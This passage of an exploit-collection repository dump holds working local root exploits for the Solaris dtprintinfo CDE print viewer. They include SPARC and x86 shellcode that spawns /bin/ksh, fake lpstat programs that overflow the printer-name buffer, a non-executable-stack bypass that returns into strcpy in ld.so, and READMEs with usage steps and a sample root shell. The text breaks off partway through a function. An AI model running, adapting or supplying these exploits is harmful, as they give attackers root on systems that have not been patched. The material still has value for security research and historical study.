274 | snprintf(d_buf, sizeof(d_buf) - 1, "DISPLAY=%s", getenv("DISPLAY")); 275 | 276 | fprintf(stderr, "[+] Prepping Fake Frame ...\n"); 277 | 278 | /* resolve dest for sprintf */ 279 | a_rwx = locate_rwx(); 280 | if (!a_rwx) 281 | return 1; 282 | 283 | fprintf(stderr, "[+] Payload src @ %.8x\n", (uint32_t)s_loc); 284 | 285 | /* set and terminate */ 286 | memset(f_frame, 'P', sizeof(f_frame)); 287 | f_frame[sizeof(f_frame) - 1] = 0x00; 288 | 289 | /* FFF= */ 290 | memcpy(f_frame, "FFF=", 4); 291 | 292 | /* on return to corrupted i7 + 8, regs are restored from fp, which is pointing at this fake window */ 293 | 294 | /* l0-l7 */ 295 | fp[0] = 0x41414141; 296 | fp[1] = 0x42424242; 297 | fp[2] = 0x43434343; 298 | fp[3] = 0x44444444; 299 | fp[4] = 0x45454545; 300 | fp[5] = 0x46464646; 301 | fp[6] = 0x47474747; 302 | fp[7] = 0x48484848; 303 | 304 | /* i0-i7 */ 305 | fp[8] = a_rwx; /* arg0 payload dest */ 306 | fp[9] = (uint32_t)s_loc; /* arg1 payload src */ 307 | fp[10] = 0x50505050; 308 | fp[11] = 0x51515151; 309 | fp[12] = 0x52525252; 310 | fp[13] = 0x53535353; 311 | fp[14] = R_STACK(fp); /* fp: just some readable thing */ 312 | fp[15] = a_rwx - 8; /* ret2sprintf dest */ 313 | 314 | /* align fake frame data on 4 in buffer */ 315 | memcpy(f_frame + 4 + (4 - ((uint32_t)p_frame % 4)), fp, sizeof(fp)); 316 | 317 | symlink(argv[0], "lpstat"); 318 | execve(x_tgt[0], x_tgt, x_env); 319 | 320 | fprintf(stderr, "[-] Error executing: %s\n", x_tgt[0]); 321 | 322 | return 1; 323 | } 324 | 325 | /* reexec with f_frame env */ 326 | fprintf(stderr, "[+] Re-executing with polluted environment ...\n"); 327 | 328 | /* placeholder mem inits */ 329 | memset(f_frame, 'P', sizeof(f_frame)); 330 | memcpy(f_frame, "FFF=", 4); 331 | f_frame[sizeof(f_frame) - 1] = 0x00; 332 | sprintf(f_loc_buf, "FFL=0x%.8x", 0xcafebabe); 333 | 334 | /* payload src from env */ 335 | sprintf(s_buf, "PLS=%s", payload); 336 | 337 | /* we want argv[0] length to match argv[0] length of target bin on bug trigger */ 338 | fprintf(stderr, "[+] Aligning bits and bobs to match target stack layout ...\n"); 339 | e_align[0] = 0x00; 340 | while (strlen(e_align) < strlen(DT_BIN)) 341 | strcat(e_align, "A"); 342 | link(argv[0], e_align); /* this has to be a hard link */ 343 | 344 | x_tgt[0] = e_align; 345 | execve(e_align, x_tgt, x_env); 346 | 347 | fprintf(stderr, "[-] Error executing: %s\n", e_align); 348 | 349 | return 1; 350 | } 351 | 352 | 353 | -------------------------------------------------------------------------------- /exploits/dave/dtprintinfo27.tar: -------------------------------------------------------------------------------- 1 | lpstat/004075500001440000001000000000000726714136300125375ustar00evilother00000400000007lpstat/lpstat.c010064400001440000001000000015010726713750300142050ustar00evilother00000400000007#include 2 | #define SIZE 290 3 | 4 | void 5 | usage() 6 | { 7 | fprintf(stderr,"called with no arguments\n"); 8 | exit(-1); 9 | } 10 | 11 | int 12 | main(int argc,char **argv) { 13 | 14 | char name[SIZE]; /* printer name */ 15 | 16 | memset(name,0x00,sizeof(name)); /*clear with zeros*/ 17 | memset(name,0x41,SIZE); 18 | memset(name+246,0x42,44); 19 | 20 | /* frame pointer 0xffbe3690 */ 21 | name[268]=0xff; 22 | name[269]=0xbe; 23 | name[270]=0x36; 24 | name[271]=0x90; 25 | 26 | /* i0 0xffbe2438 */ 27 | name[244]=0xff; 28 | name[245]=0xbe; 29 | name[246]=0x24; 30 | name[247]=0x38; 31 | 32 | /*i7 0xffbeec44 */ 33 | name[272]=0xff; 34 | name[273]=0xbe; 35 | name[274]=0xec; 36 | name[275]=0x44; 37 | name[276]=0x00; 38 | 39 | if(argc<2) { 40 | usage(); 41 | } 42 | 43 | if(!strcmp(argv[1],"-v")) 44 | { 45 | fprintf(stderr,"lpstat called with -v\n"); 46 | printf("device for %s: /dev/null\n",name); 47 | } 48 | else 49 | { 50 | fprintf(stderr,"lpstat called with -d\n"); 51 | printf("system default destination: %s\n",name); 52 | } 53 | 54 | } 55 | lpstat/dtprintex.c010064400001440000001000000032670726713765000147350ustar00evilother00000400000007#include 56 | #include 57 | #define ENVBUF 5000 58 | #define NOPS 200 59 | 60 | /* lsd shellcode. */ 61 | char shellcode[]= 62 | "\x90\x08\x3f\xff" /* and %g0,-1,%o0 */ 63 | "\x82\x10\x20\x17" /* mov 0x17,%g1 */ 64 | "\x91\xd0\x20\x08" /* ta 8 */ 65 | "\x20\xbf\xff\xff" /* bn,a */ 66 | "\x20\xbf\xff\xff" /* bn,a */ 67 | "\x7f\xff\xff\xff" /* call */ 68 | "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ 69 | "\x92\x02\x20\x10" /* add %o0,16,%o1 */ 70 | "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ 71 | "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ 72 | "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ 73 | "\x82\x10\x20\x0b" /* mov 0xb,%g1 */ 74 | "\x91\xd0\x20\x08" /* ta 8 */ 75 | "/bin/ksh" 76 | ; 77 | 78 | int 79 | main(int argc,char **argv) { 80 | 81 | char *argp[2]; 82 | char *envp[6]; 83 | char display[128]; 84 | char home[4]; 85 | char buf[ENVBUF]; 86 | int align; 87 | 88 | if(argc==3) 89 | align=atoi(argv[02]); 90 | else 91 | align=-1; 92 | 93 | if(argc<2 || argc>3) { 94 | printf("usage: %s xserver:display \n",argv[0]); 95 | exit(-1); 96 | } 97 | 98 | else { 99 | 100 | sprintf(display,"DISPLAY=%s",argv[1]); 101 | memset(buf,0x41,ENVBUF); 102 | memcpy(home,"HOME=.",strlen("HOME=.")); 103 | memset(buf,0x90,NOPS); 104 | memcpy((buf+NOPS)+align,shellcode,strlen(shellcode)); 105 | memcpy(buf,"ODB=",4); 106 | 107 | envp[0]=(char *)strdup("PATH=.:/usr/bin"); 108 | envp[1]=display; 109 | envp[2]=buf; 110 | envp[3]=home; 111 | envp[4]=0; 112 | 113 | argp[0]=(char *) strdup("/usr/dt/bin/dtprintinfo"); 114 | argp[1]=0; 115 | 116 | printf("execve() started.\n"); 117 | fflush(0); 118 | execve("/usr/dt/bin/dtprintinfo",argp,envp); 119 | printf("execve() failed.\n"); 120 | } 121 | } 122 | lpstat/readme010064400001440000001000000003100726714135200137040ustar00evilother0000040000000704.17.2001 123 | 124 | this is a solaris 2.7 local dtprintinfo exploit. 125 | run with 126 | 127 | ./dtprintex xserver:display 128 | 129 | if the default alignment doesn't work, try play between the range of -4 to 4. 130 | 131 | lpstat/Makefile010064400001440000001000000002030726713774700142020ustar00evilother00000400000007all: lpstat dtprintex 132 | 133 | lpstat: lpstat.c 134 | gcc -ggdb -o lpstat lpstat.c 135 | 136 | dtprintex: dtprintex.c 137 | gcc -ggdb -o dtprintex dtprintex.c 138 | 139 | -------------------------------------------------------------------------------- /exploits/dave/dtprintinfo28.tar: -------------------------------------------------------------------------------- 1 | lpstat28/004075500001440000001000000000000726736635700127255ustar00evilother00000400000007lpstat28/lpstat.c010064400001440000001000000014040726736617600143730ustar00evilother00000400000007#include 2 | #define SIZE 290 3 | 4 | void 5 | usage() 6 | { 7 | fprintf(stderr,"called with no arguments\n"); 8 | exit(-1); 9 | } 10 | 11 | int 12 | main(int argc,char **argv) { 13 | 14 | char name[SIZE]; /* printer name */ 15 | 16 | memset(name,0x00,sizeof(name)); /*clear with zeros*/ 17 | memset(name,0x41,SIZE); 18 | 19 | /* i0 */ 20 | name[204]=0xfe; 21 | name[205]=0xd2; 22 | name[206]=0x27; 23 | name[207]=0x64; 24 | 25 | /* fp */ 26 | name[228]=0xfe; 27 | name[229]=0x8d; 28 | name[230]=0x9d; 29 | name[231]=0x78; 30 | 31 | /* i7 */ 32 | name[232]=0xff; 33 | name[233]=0xbe; 34 | name[234]=0xec; 35 | name[235]=0x50; 36 | 37 | name[SIZE-1]=0x00; 38 | 39 | 40 | if(argc<2) { 41 | usage(); 42 | } 43 | 44 | if(!strcmp(argv[1],"-v")) 45 | { 46 | fprintf(stderr,"lpstat called with -v\n"); 47 | printf("device for %s: /dev/null\n",name); 48 | } 49 | else 50 | { 51 | fprintf(stderr,"lpstat called with -d\n"); 52 | printf("system default destination: %s\n",name); 53 | } 54 | 55 | } 56 | lpstat28/dtprintex.c010064400001440000001000000032150726736604700151040ustar00evilother00000400000007#include 57 | #include 58 | #define ENVBUF 5000 59 | #define NOPS 200 60 | 61 | /* lsd shellcode. */ 62 | char shellcode[]= 63 | "\x90\x08\x3f\xff" /* and %g0,-1,%o0 */ 64 | "\x82\x10\x20\x17" /* mov 0x17,%g1 */ 65 | "\x91\xd0\x20\x08" /* ta 8 */ 66 | "\x20\xbf\xff\xff" /* bn,a */ 67 | "\x20\xbf\xff\xff" /* bn,a */ 68 | "\x7f\xff\xff\xff" /* call */ 69 | "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ 70 | "\x92\x02\x20\x10" /* add %o0,16,%o1 */ 71 | "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ 72 | "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ 73 | "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ 74 | "\x82\x10\x20\x0b" /* mov 0xb,%g1 */ 75 | "\x91\xd0\x20\x08" /* ta 8 */ 76 | "/bin/ksh" 77 | ; 78 | 79 | int 80 | main(int argc,char **argv) { 81 | 82 | char *argp[2]; 83 | char *envp[6]; 84 | char display[128]; 85 | char home[4]; 86 | char buf[ENVBUF]; 87 | int align; 88 | 89 | if(argc==3) 90 | align=atoi(argv[02]); 91 | else 92 | align=-1; 93 | 94 | if(argc<2 || argc>3) { 95 | printf("usage: %s xserver:display \n",argv[0]); 96 | exit(-1); 97 | } 98 | 99 | else { 100 | 101 | sprintf(display,"DISPLAY=%s",argv[1]); 102 | memset(buf,0x41,ENVBUF); 103 | memcpy(home,"HOME=.",strlen("HOME=.")); 104 | memset(buf,0x90,NOPS); 105 | memcpy((buf+NOPS)+align,shellcode,strlen(shellcode)); 106 | memcpy(buf,"ODB=",4); 107 | 108 | envp[0]=(char *)strdup("PATH=.:/usr/bin"); 109 | envp[1]=display; 110 | envp[2]=buf; 111 | envp[3]=home; 112 | envp[4]=0; 113 | 114 | argp[0]=(char *) strdup("/usr/dt/bin/dtprintinfo"); 115 | argp[1]=0; 116 | 117 | execve("/usr/dt/bin/dtprintinfo",argp,envp); 118 | printf("execve() failed.\n"); 119 | } 120 | } 121 | lpstat28/Makefile010064400001440000001000000002030726713774700143540ustar00evilother00000400000007all: lpstat dtprintex 122 | 123 | lpstat: lpstat.c 124 | gcc -ggdb -o lpstat lpstat.c 125 | 126 | dtprintex: dtprintex.c 127 | gcc -ggdb -o dtprintex dtprintex.c 128 | 129 | -------------------------------------------------------------------------------- /exploits/dave/nonexecdtprintinfo27.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/raptor_infiltrate19/d0a6d02bc205376a72476092e7ce3bbb34646109/exploits/dave/nonexecdtprintinfo27.tar -------------------------------------------------------------------------------- /exploits/dave/nonexecdtprintinfo28.tar: -------------------------------------------------------------------------------- 1 | nonexecdtprintinfo28/004075500001440000001000000000000727560024700153225ustar00evilother00000400000007nonexecdtprintinfo28/dtprintex.c010064400001440000001000000112520727557734600175220ustar00evilother00000400000007#include 2 | #include 3 | #include 4 | 5 | #define ENVBUF 5008 6 | #define FRM 4000 7 | #define NOPS 200 8 | /*this is the location we want to NAIL the "FRM=" to */ 9 | /*this location will read "FRM=" so that we know exactly where we 10 | are when the attack is running - precision is key.*/ 11 | // old #define STACKTARGET 0xffbedc80 12 | #define STACKTARGET 0xffbedc84 13 | 14 | /* lsd shellcode. */ 15 | char shellcode[]= 16 | "\x90\x08\x3f\xff" /* and %g0,-1,%o0 */ 17 | "\x82\x10\x20\x17" /* mov 0x17,%g1 */ 18 | "\x91\xd0\x20\x08" /* ta 8 */ 19 | "\x20\xbf\xff\xff" /* bn,a */ 20 | "\x20\xbf\xff\xff" /* bn,a */ 21 | "\x7f\xff\xff\xff" /* call */ 22 | "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ 23 | "\x92\x02\x20\x10" /* add %o0,16,%o1 */ 24 | "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ 25 | "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ 26 | "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ 27 | "\x82\x10\x20\x0b" /* mov 0xb,%g1 */ 28 | "\x91\xd0\x20\x08" /* ta 8 */ 29 | "/bin/ksh" 30 | ; 31 | 32 | int 33 | main(int argc,char **argv) { 34 | 35 | char *argp[2]; 36 | char *envp[8]; 37 | char display[128]; 38 | char home[8]; 39 | char platform[256]; 40 | char buf[ENVBUF]; 41 | char frm[FRM]; 42 | int align, p; 43 | int subval; 44 | char *pathenv; 45 | char *ldlib; 46 | unsigned int frmlength,frmplace; 47 | 48 | if(argc==3) 49 | align=atoi(argv[02]); 50 | 51 | else 52 | align=-2; 53 | 54 | 55 | if(argc<2 || argc>3) { 56 | printf("usage: %s xserver:display \n",argv[0]); 57 | exit(-1); 58 | } 59 | 60 | else { 61 | 62 | 63 | sprintf(display,"DISPLAY=%s",argv[1]); 64 | memset(buf,0x41,sizeof(buf)); /*fill up so no nulls*/ 65 | memset(home,0x00,sizeof(home)); 66 | memcpy(home,"HOME=.",strlen("HOME=.")); 67 | 68 | 69 | /*Setting up the buffer we use to send our shellcode in*/ 70 | memset(buf,0x90,sizeof(buf)); 71 | buf[ENVBUF-1]=0; /*null terminate it*/ 72 | memcpy(buf,"ODB=",4); 73 | memcpy((buf+NOPS)+align,shellcode,strlen(shellcode)); 74 | 75 | memset(frm,0x43,FRM); 76 | memset(frm+354,0x69,FRM-354); 77 | memcpy(frm,"FRM=",4); 78 | 79 | #define FUDGE 4 80 | 81 | /* i0 (also i2) send to __malloc_lock 0xfed3a510*/ 82 | frm[348+FUDGE]=0xfe; 83 | frm[349+FUDGE]=0xd3; 84 | frm[350+FUDGE]=0xa5; 85 | frm[351+FUDGE]=0x10; 86 | 87 | 88 | /* i1 send to shellcode 0xffbeec80 */ 89 | frm[352+FUDGE]=0xff; 90 | frm[353+FUDGE]=0xbe; 91 | frm[354+FUDGE]=0xec; 92 | frm[355+FUDGE]=0x80; 93 | 94 | 95 | /* fp, set to 43's in FRM 0xffbedd28 */ 96 | frm[372+FUDGE]=0xff; 97 | frm[373+FUDGE]=0xbe; 98 | frm[374+FUDGE]=0xdd; 99 | frm[375+FUDGE]=0x28; 100 | 101 | /* return pc goto __malloc_lock which should contain nops if strcpy() was successful */ 102 | frm[376+FUDGE]=0xfe; 103 | frm[377+FUDGE]=0xd3; 104 | frm[378+FUDGE]=0xa5; 105 | frm[379+FUDGE]=0x10; 106 | 107 | frm[FRM-3]=0; 108 | 109 | sysinfo(SI_PLATFORM,platform,256); 110 | printf("Using platform of *%s*\n",platform); 111 | 112 | buf[5000]=0; 113 | 114 | pathenv=(char *)strdup("PATH=.:/usr/bin"); 115 | ldlib=(char *)strdup("LD_LIBRARY_PATH=/lib:/usr/lib:/usr/openwin/lib:/usr/dt/lib"); 116 | 117 | envp[0]=frm; /* our stack frames that we use */ 118 | envp[1]=pathenv; 119 | envp[2]=buf; /* shellcode */ 120 | envp[3]=home; 121 | envp[4]=display; 122 | envp[5]=ldlib; 123 | envp[6]=0; 124 | 125 | argp[0]=(char *) strdup("/usr/dt/bin/dtprintinfo"); 126 | argp[1]=0; 127 | 128 | /*+4 at end for a null word on the end of the stack*/ 129 | /*basicaly we go through the arguments and environment and add the strlengths, then we add the strlen of the platform and 130 | 4 bytes for the null word at the end of the stack. This whole thing then is going to be word aligned by the OS, so 131 | we then use that value %4 to get where FRM= is going to be located in memory. 132 | 133 | So now we know the EXACT location of FRM= on the stack, and we that it is exactly word aligned. 134 | 135 | To make this work, we need to control the length of one of these buffers such that FRM= is at exactly a location we have 136 | already predicted. 137 | */ 138 | 139 | frmlength=strlen(frm)+1+strlen(pathenv)+1+strlen(buf)+1+strlen(home)+1+strlen(display)+1+strlen(platform)+1+strlen(argp[0])+1+strlen(ldlib)+1+4; 140 | frmplace= (0xffbeffff-(frmlength) ) - ((0xffbeffff-(frmlength) ) % 4); 141 | printf("strlen(env)=%d location of frm= is at 0x%4x\n",frmlength,frmplace); 142 | 143 | 144 | /* 145 | now we want to make that number a WORD aligned number at 0xffbedc80. So we take frmplace and subtract from the length of buf 146 | to get 0xffbedc80. 147 | */ 148 | subval=STACKTARGET-frmplace; 149 | buf[strlen(buf)-subval]=0; /*here we prematurely terminate buf to pad out frmplace to be what we want.*/ 150 | frmlength=strlen(frm)+1+strlen(pathenv)+1+strlen(buf)+1+strlen(home)+1+strlen(display)+1+strlen(platform)+1+strlen(argp[0])+1+strlen(ldlib)+1+4; 151 | frmplace= (0xffbeffff-(frmlength) ) - ((0xffbeffff-(frmlength) ) % 4); 152 | printf("strlen(env)=%d location of frm= is at 0x%4x\n",frmlength,frmplace); 153 | 154 | 155 | printf("execve() started.\n"); 156 | fflush(0); 157 | //execve("/usr/bin/env",argp,envp); 158 | execve("/usr/dt/bin/dtprintinfo",argp,envp); 159 | printf("execve() failed.\n"); 160 | } 161 | } 162 | nonexecdtprintinfo28/lpstat.c010064400001440000001000000056400727560002300167670ustar00evilother00000400000007#include 163 | #include 164 | #define SIZE 290 165 | 166 | void 167 | usage() 168 | { 169 | fprintf(stderr,"called with no arguments\n"); 170 | exit(-1); 171 | } 172 | 173 | unsigned long 174 | getlong(char * c) 175 | { 176 | unsigned long bob; 177 | sscanf(c,"%lx",&bob); 178 | return bob; 179 | } 180 | 181 | int 182 | check_for_bad_byte(unsigned long check, unsigned char badbyte) 183 | { 184 | unsigned char bob; 185 | 186 | bob=(unsigned char)(check & 0xff); 187 | if (bob == badbyte) 188 | return 1; 189 | bob=(unsigned char)((check >> 8) & 0xff); 190 | if (bob == badbyte) 191 | return 1; 192 | bob=(unsigned char)((check >> 16) & 0xff); 193 | if (bob == badbyte) 194 | return 1; 195 | bob=(unsigned char)((check >> 24) & 0xff); 196 | if (bob == badbyte) 197 | return 1; 198 | 199 | return 0; 200 | 201 | } 202 | 203 | int 204 | check_for_bad_bytes(unsigned long check) 205 | { 206 | unsigned char badbytes[] = {0x00,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f}; 207 | int i; 208 | 209 | for (i=0; i< sizeof(badbytes); i++) 210 | { 211 | if (check_for_bad_byte(check,badbytes[i])) 212 | return 1; 213 | 214 | } 215 | 216 | return 0; 217 | } 218 | 219 | unsigned long 220 | get_good_place_to_return() 221 | { 222 | void *handle; 223 | unsigned long dlfunction_addr; 224 | 225 | if (!(handle=dlopen(NULL,RTLD_LAZY))) 226 | { 227 | fprintf(stderr,"Can't dlopen myself!\n"); 228 | exit(1); 229 | } 230 | 231 | if ((dlfunction_addr=(long)dlsym(handle,"strcpy"))==NULL) 232 | { 233 | fprintf(stderr,"Can't find %s().\n","strcpy"); 234 | dlfunction_addr=0; 235 | } 236 | 237 | 238 | if (check_for_bad_bytes(dlfunction_addr)) 239 | { 240 | /*we need to see if strcpy exists instead*/ 241 | if ((dlfunction_addr=(long)dlsym(handle,"strccpy"))==NULL) 242 | { 243 | fprintf(stderr,"Can't find %s().\n","strccpy"); 244 | dlfunction_addr=0; 245 | } 246 | if (check_for_bad_bytes(dlfunction_addr) ) 247 | { 248 | printf("Couldn't locate strcpy or strccpy.\n"); 249 | exit(1); 250 | } 251 | } 252 | return dlfunction_addr; 253 | } 254 | 255 | 256 | int 257 | main(int argc,char **argv) { 258 | 259 | char name[SIZE]; /* printer name */ 260 | long dlfunction_addr; 261 | 262 | dlfunction_addr=get_good_place_to_return(); 263 | /*printf("dlfunction_addr=%x\n",dlfunction_addr); this keeps lpstat from working..debug only */ 264 | 265 | memset(name,0x00,sizeof(name)); /*clear with zeros*/ 266 | memset(name,0x41,SIZE); 267 | memset(name+233,0x42,SIZE-233); 268 | 269 | /*frame pointer. send to FRM (0x43's) because we're dying on ret in some dtprintinfo function. we go to dtprintex.c to set up our bogus frame now*/ 270 | name[228]=0xff; 271 | name[229]=0xbe; 272 | name[230]=0xdd; 273 | name[231]=0xc0; 274 | 275 | /* 0xfecb2604 strcpy 276 | name[232]=0xfe; 277 | name[233]=0xcb; 278 | name[234]=0x26; 279 | name[235]=0x04; 280 | */ 281 | name[232]=(dlfunction_addr >> 24) & 0xff; 282 | name[233]=(dlfunction_addr >> 16) & 0xff; 283 | name[234]=(dlfunction_addr >> 8) & 0xff; 284 | name[235]=(dlfunction_addr >> 0) & 0xff; 285 | 286 | /* i0 first time set for cont.of.exec. 0xffbe32e8 */ 287 | name[204]=0xff; 288 | name[205]=0xbe; 289 | name[206]=0x32; 290 | name[207]=0xe8; 291 | 292 | 293 | name[SIZE-1]=0; 294 | 295 | if(argc<2) { 296 | usage(); 297 | } 298 | 299 | if(!strcmp(argv[1],"-v")) 300 | { 301 | fprintf(stderr,"lpstat called with -v\n"); 302 | printf("device for %s: /dev/null\n",name); 303 | } 304 | else 305 | { 306 | fprintf(stderr,"lpstat called with -d\n"); 307 | printf("system default destination: %s\n",name); 308 | } 309 | 310 | } 311 | nonexecdtprintinfo28/Makefile010064400001440000001000000010100727407451400167500ustar00evilother00000400000007all: lpstat dtprintex 312 | 313 | lpstat: lpstat.c 314 | gcc -ggdb -o lpstat lpstat.c -L/usr/dt/lib -lDtWidget -lDtSvc -lXm -L/usr/openwin/lib -lXt -lX11 -lgen -lsocket -lnsl -lC -L/usr/dt/lib -lSDtFwa -lm -lw -lc -ldl -L/usr/dt/lib -ltt -L/usr/openwin/lib -lSM -lICE -lXext -lmp 315 | 316 | dtprintex: dtprintex.c 317 | gcc -ggdb -o dtprintex dtprintex.c -L/usr/dt/lib -lDtWidget -lDtSvc -lXm -L/usr/openwin/lib -lXt -lX11 -lgen -lsocket -lnsl -lC -L/usr/dt/lib -lSDtFwa -lm -lw -lc -ldl -L/usr/dt/lib -ltt -L/usr/openwin/lib -lSM -lICE -lXext -lmp 318 | 319 | 320 | nonexecdtprintinfo28/README010064400001440000001000000014630727560022100161730ustar00evilother0000040000000705.07.2001 321 | 322 | this is a solaris 2.8 local dtprintinfo exploit. defeats non-exec stack. even auto finds strcpy. 323 | 324 | run with 325 | ./dtprintex xserver:display 326 | 327 | dtprintinfo will connect to the xserver you specify. if you want root, it's a good idea to allow this connection (xhost +). 328 | you can put an optional alignment (-4 through 4) as an argument, but this shouldn't be needed. 329 | 330 | 331 | you'll want to set your LD_LIBRARY_PATH if you get library specific errors when running the exploit 332 | ie: LD_LIBRARY_PATH=/lib:/usr/lib:/usr/openwin/lib:/usr/dt/lib did the trick for me 333 | 334 | if you get compilation errors concerning -lC, try the following (thanks http://www.sun.co.uk/products/mcad/ptc_print.html) 335 | i simply did: 336 | cd /usr/lib 337 | ln -s /usr/lib/libC.so.5 libC.so 338 | 339 | Dave Aitel 340 | Jeremy Jethro 341 | 342 | -------------------------------------------------------------------------------- /exploits/dave/nonexecdtprintinfo28v12.tar.Z: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/raptor_infiltrate19/d0a6d02bc205376a72476092e7ce3bbb34646109/exploits/dave/nonexecdtprintinfo28v12.tar.Z -------------------------------------------------------------------------------- /exploits/raptor/raptor_dtprintname_intel.c: -------------------------------------------------------------------------------- 1 | /* 2 | * raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel 3 | * Copyright (c) 2004-2019 Marco Ivaldi 4 | * 5 | * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to 6 | * local root. Many thanks to Dave Aitel for discovering this vulnerability 7 | * and for his interesting research activities on Solaris/SPARC. 8 | * 9 | * "None of my dtprintinfo work is public, other than that 0day pack being 10 | * leaked to all hell and back. It should all basically still work. Let's 11 | * keep it that way, cool? :>" -- Dave Aitel 12 | * 13 | * This exploit uses the ret-into-ld.so technique to bypass the non-exec 14 | * stack protection. If experiencing troubles with null-bytes inside the 15 | * ld.so.1 memory space, try returning to sprintf() instead of strcpy(). 16 | * 17 | * Usage: 18 | * $ gcc raptor_dtprintname_intel.c -o raptor_dtprintname_intel -Wall 19 | * [on your xserver: disable the access control] 20 | * $ ./raptor_dtprintname_intel 192.168.1.1:0 21 | * [...] 22 | * # id 23 | * uid=0(root) gid=1(other) 24 | * # 25 | * 26 | * Tested on: 27 | * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) 28 | * [previous Solaris versions are also vulnerable] 29 | */ 30 | 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | 40 | #define INFO1 "raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel" 41 | #define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi " 42 | 43 | #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program 44 | #define BUFSIZE 301 // size of the printer name 45 | 46 | char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ 47 | /* double setuid() */ 48 | "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 49 | "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 50 | /* execve() */ 51 | "\x31\xc0\x50\x68/ksh\x68/bin" 52 | "\x89\xe3\x50\x53\x89\xe2\x50" 53 | "\x52\x53\xb0\x3b\x50\xcd\x91"; 54 | 55 | /* globals */ 56 | char *env[256]; 57 | int env_pos = 0, env_len = 0; 58 | 59 | /* prototypes */ 60 | int add_env(char *string); 61 | void check_zero(int addr, char *pattern); 62 | int search_ldso(char *sym); 63 | int search_rwx_mem(void); 64 | void set_val(char *buf, int pos, int val); 65 | 66 | /* 67 | * main() 68 | */ 69 | int main(int argc, char **argv) 70 | { 71 | char buf[BUFSIZE], ksh_var[16]; 72 | char platform[256], release[256], display[256]; 73 | int i, offset, sc_addr, ksh_pos; 74 | int plat_len, prog_len; 75 | 76 | char *arg[2] = {"foo", NULL}; 77 | int sb = ((int)argv[0] | 0xfff); /* stack base */ 78 | int ret = search_ldso("strcpy"); /* or sprintf */ 79 | int rwx_mem = search_rwx_mem(); /* rwx memory */ 80 | 81 | /* fake lpstat code */ 82 | if (!strcmp(argv[0], "lpstat")) { 83 | 84 | /* check command line */ 85 | if (argc != 2) 86 | exit(1); 87 | 88 | /* get the shellcode address from the environment */ 89 | sc_addr = (int)strtoul(getenv("KSH"), (char **)NULL, 0); 90 | 91 | /* prepare the evil printer name */ 92 | memset(buf, 'A', sizeof(buf)); 93 | buf[sizeof(buf) - 1] = 0x0; 94 | 95 | /* fill with ld.so.1 address, saved eip, and arguments */ 96 | for (i = 0; i < BUFSIZE; i += 4) { 97 | set_val(buf, i, ret); /* strcpy */ 98 | set_val(buf, i += 4, rwx_mem); /* saved eip */ 99 | set_val(buf, i += 4, rwx_mem); /* 1st argument */ 100 | set_val(buf, i += 4, sc_addr); /* 2nd argument */ 101 | } 102 | 103 | /* print the expected output and exit */ 104 | if(!strcmp(argv[1], "-v")) { 105 | fprintf(stderr, "lpstat called with -v\n"); 106 | printf("device for %s: /dev/null\n", buf); 107 | } else { 108 | fprintf(stderr, "lpstat called with -d\n"); 109 | printf("system default destination: %s\n", buf); 110 | } 111 | exit(0); 112 | } 113 | 114 | /* print exploit information */ 115 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 116 | 117 | /* read command line */ 118 | if (argc != 2) { 119 | fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 120 | exit(1); 121 | } 122 | sprintf(display, "DISPLAY=%s", argv[1]); 123 | 124 | /* get some system information */ 125 | sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 126 | sysinfo(SI_RELEASE, release, sizeof(release) - 1); 127 | 128 | /* fill the envp, keeping padding */ 129 | add_env(sc); 130 | ksh_pos = env_pos; 131 | add_env("KSH=0x42424242"); 132 | add_env(display); 133 | add_env("PATH=.:/usr/bin"); 134 | add_env("HOME=/tmp"); 135 | add_env(NULL); 136 | 137 | /* calculate the offset to the shellcode */ 138 | plat_len = strlen(platform) + 1; 139 | prog_len = strlen(VULN) + 1; 140 | offset = 5 + env_len + plat_len + prog_len; 141 | 142 | /* calculate the shellcode address */ 143 | sc_addr = sb - offset; 144 | 145 | /* overwrite the KSH env var with the right address */ 146 | sprintf(ksh_var, "KSH=0x%x", sc_addr); 147 | env[ksh_pos] = ksh_var; 148 | 149 | /* create a symlink for the fake lpstat */ 150 | unlink("lpstat"); 151 | symlink(argv[0], "lpstat"); 152 | 153 | /* print some output */ 154 | fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 155 | fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 156 | fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); 157 | fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); 158 | fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); 159 | 160 | /* run the vulnerable program */ 161 | execve(VULN, arg, env); 162 | perror("execve"); 163 | exit(0); 164 | } 165 | 166 | /* 167 | * add_env(): add a variable to envp and pad if needed 168 | */ 169 | int add_env(char *string) 170 | { 171 | int i; 172 | 173 | /* null termination */ 174 | if (!string) { 175 | env[env_pos] = NULL; 176 | return(env_len); 177 | } 178 | 179 | /* add the variable to envp */ 180 | env[env_pos] = string; 181 | env_len += strlen(string) + 1; 182 | env_pos++; 183 | 